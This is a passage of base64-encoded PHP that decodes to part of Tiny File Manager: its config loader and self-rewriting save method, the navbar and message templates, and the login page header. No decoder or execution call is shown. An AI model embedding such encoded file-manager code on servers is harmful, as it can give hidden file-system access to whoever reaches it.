uc3RydWN0KCkKICAgIHsKICAgICAgICBnbG9iYWwgJHJvb3RfcGF0aCwgJHJvb3RfdXJsLCAkQ09ORklHOwogICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwuJF9TRVJWRVJbIlBIUF9TRUxGIl07CiAgICAgICAgJHRoaXMtPmRhdGEgPSBhcnJheSgKICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsCiAgICAgICAgICAgICdlcnJvcl9yZXBvcnRpbmcnID0+IHRydWUsCiAgICAgICAgICAgICdzaG93X2hpZGRlbicgPT4gdHJ1ZQogICAgICAgICk7CiAgICAgICAgJGRhdGEgPSBmYWxzZTsKICAgICAgICBpZiAoc3RybGVuKCRDT05GSUcpKSB7CiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJ1RpbnkgRmlsZSBNYW5hZ2VyPGJyPkVycm9yOiBDYW5ub3QgbG9hZCBjb25maWd1cmF0aW9uJzsKICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJy8nKSB7CiAgICAgICAgICAgICAgICAkZm1fdXJsID0gcnRyaW0oJGZtX3VybCwgJy8nKTsKICAgICAgICAgICAgICAgICRtc2cgLj0gJzxicj4nOwogICAgICAgICAgICAgICAgJG1zZyAuPSAnPGJyPlNlZW1zIGxpa2UgeW91IGhhdmUgYSB0cmFpbGluZyBzbGFzaCBvbiB0aGUgVVJMLic7CiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj0iJyAuICRmbV91cmwgLiAnIj4nIC4gJGZtX3VybCAuICc8L2E+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBkaWUoJG1zZyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc19hcnJheSgkZGF0YSkgJiYgY291bnQoJGRhdGEpKSAkdGhpcy0+ZGF0YSA9ICRkYXRhOwogICAgICAgIGVsc2UgJHRoaXMtPnNhdmUoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYXZlKCkKICAgIHsKICAgICAgICAkZm1fZmlsZSA9IF9fRklMRV9fOwogICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJzsKICAgICAgICAkdmFyX3ZhbHVlID0gdmFyX2V4cG9ydChqc29uX2VuY29kZSgkdGhpcy0+ZGF0YSksIHRydWUpOwogICAgICAgICRjb25maWdfc3RyaW5nID0gIjw/cGhwIiAuIGNocigxMykgLiBjaHIoMTApIC4gIi8vRGVmYXVsdCBDb25maWd1cmF0aW9uIi5jaHIoMTMpIC4gY2hyKDEwKS4iJHZhcl9uYW1lID0gJHZhcl92YWx1ZTsiIC4gY2hyKDEzKSAuIGNocigxMCk7CiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkgewogICAgICAgICAgICAkbGluZXMgPSBmaWxlKCRmbV9maWxlKTsKICAgICAgICAgICAgaWYgKCRmaCA9IEBmb3BlbigkZm1fZmlsZSwgInciKSkgewogICAgICAgICAgICAgICAgQGZwdXRzKCRmaCwgJGNvbmZpZ19zdHJpbmcsIHN0cmxlbigkY29uZmlnX3N0cmluZykpOwogICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykgewogICAgICAgICAgICAgICAgICAgIEBmcHV0cygkZmgsICRsaW5lc1skeF0sIHN0cmxlbigkbGluZXNbJHhdKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCi8vLS0tIFRlbXBsYXRlcyBGdW5jdGlvbnMgLS0tCgovKioKICogU2hvdyBuYXYgYmxvY2sKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKi8KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkKewogICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlOwogICAgJGlzU3RpY2t5TmF2QmFyID0gJHN0aWNreV9uYXZiYXIgPyAnZml4ZWQtdG9wJyA6ICcnOwogICAgJGdldFRoZW1lID0gZm1fZ2V0X3RoZW1lKCk7CiAgICAkZ2V0VGhlbWUgLj0gIiBuYXZiYXItbGlnaHQiOwogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7CiAgICAgICAgJGdldFRoZW1lIC49ICIgbmF2YmFyLWRhcmsiOwogICAgfSBlbHNlIHsKICAgICAgICAkZ2V0VGhlbWUgLj0gIiBiZy13aGl0ZSI7CiAgICB9CiAgICA/PgogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgPD9waHAgZWNobyAkZ2V0VGhlbWU7ID8+IG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4iPgogICAgICAgIDxhIGNsYXNzPSJuYXZiYXItYnJhbmQiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8L2E+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS1icy10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLWJzLXRhcmdldD0iI25hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtY29udHJvbHM9Im5hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWxhYmVsPSJUb2dnbGUgbmF2aWdhdGlvbiI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgPC9idXR0b24+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpOwogICAgICAgICAgICAkcm9vdF91cmwgPSAiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSciIC4gRk1fUk9PVF9QQVRIIC4gIic+PC9pPjwvYT4iOwogICAgICAgICAgICAkc2VwID0gJzxpIGNsYXNzPSJicmVhZC1jcnVtYiI+IC8gPC9pPic7CiAgICAgICAgICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsKICAgICAgICAgICAgICAgICRjb3VudCA9IGNvdW50KCRleHBsb2RlZCk7CiAgICAgICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudCA9IHRyaW0oJHBhcmVudCAuICcvJyAuICRleHBsb2RlZFskaV0sICcvJyk7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7CiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSAiPGEgaHJlZj0nP3A9eyRwYXJlbnRfZW5jfSc+IiAuIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZXhwbG9kZWRbJGldKSkgLiAiPC9hPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wteHMtNiBjb2wtc20tNSI+JyAuICRyb290X3VybCAuICRlZGl0RmlsZSAuICc8L2Rpdj4nOwogICAgICAgICAgICA/PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTYgY29sLXNtLTciPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IGp1c3RpZnktY29udGVudC1lbmQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgID8+Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIG1yLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xIiBzdHlsZT0ibWFyZ2luLXRvcDo0cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IiBhcmlhLWxhYmVsPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtZGVzY3JpYmVkYnk9InNlYXJjaC1hZGRvbjIiIGlkPSJzZWFyY2gtYWRkb24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtYXBwZW5kIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMCIgaWQ9InNlYXJjaC1hZGRvbjIiPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giPjwvaT48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCBidG4tZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IGRyb3Bkb3duLXRvZ2dsZSBicmwtMCIgZGF0YS1icy10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ijw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz4iIGlkPSJqcy1zZWFyY2gtbW9kYWwiIGRhdGEtYnMtdG9nZ2xlPSJtb2RhbCIgZGF0YS1icy10YXJnZXQ9IiNzZWFyY2hNb2RhbCI+PD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkIFNlYXJjaCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZ1cGxvYWQiPjxpIGNsYXNzPSJmYSBmYS1jbG91ZC11cGxvYWQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ05ld0l0ZW0nKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjY3JlYXRlTmV3SXRlbSIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZU5ld0l0ZW0iPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9BVVRIKTogPz4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIGF2YXRhciBkcm9wZG93biI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBkcm9wZG93bi10b2dnbGUiIGlkPSJuYXZiYXJEcm9wZG93bk1lbnVMaW5rLTUiIGRhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiPiA8aSBjbGFzcz0iZmEgZmEtdXNlci1jaXJjbGUiPjwvaT4gPD9waHAgaWYoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkpIHsgZWNobyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddOyB9ID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IHRleHQtc21hbGwgc2hhZG93IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBhcmlhLWxhYmVsbGVkYnk9Im5hdmJhckRyb3Bkb3duTWVudUxpbmstNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JnNldHRpbmdzPTEiPjxpIGNsYXNzPSJmYSBmYS1jb2ciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWYgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnSGVscCcpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4maGVscD0yIj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9sb2dvdXQ9MSI+PGkgY2xhc3M9ImZhIGZhLXNpZ24tb3V0IiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZzZXR0aW5ncz0xIj48aSBjbGFzcz0iZmEgZmEtY29nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KICAgIDw/cGhwCn0KCi8qKgogKiBTaG93IGFsZXJ0IG1lc3NhZ2UgZnJvbSBzZXNzaW9uCiAqLwpmdW5jdGlvbiBmbV9zaG93X21lc3NhZ2UoKQp7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7CiAgICAgICAgJGNsYXNzID0gaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSkgPyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddIDogJ29rJzsKICAgICAgICBlY2hvICc8cCBjbGFzcz0ibWVzc2FnZSAnIC4gJGNsYXNzIC4gJyI+JyAuICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddIC4gJzwvcD4nOwogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTsKICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddKTsKICAgIH0KfQoKLyoqCiAqIFNob3cgcGFnZSBoZWFkZXIgaW4gTG9naW4gRm9ybQogKi8KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXJfbG9naW4oKQp7CiRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7CmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKZ2xvYmFsICRsYW5nLCAkcm9vdF91cmwsICRmYXZpY29uX3BhdGg7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4KICAgIDw/cGhwIGlmKCRmYXZpY29uX3BhdGgpIHsgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInLmZtX2VuYygkZmF2aWNvbl9wYXRoKS4nIiB0eXBlPSJpbWFnZS9wbmciPic7IH0gPz4KICAgIDx0aXRsZT48P3BocCBlY2hvIGZtX2VuYyhBUFBfVElUTEUpID8+PC90aXRsZT4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+CiAgICA8c3R5bGU+CiAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdleyBiYWNrZ3JvdW5kLWNvbG9yOiNmN2Y5ZmI7Zm9udC1zaXplOjE0cHg7YmFja2dyb3VuZC1jb2xvcjojZjdmOWZiO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMy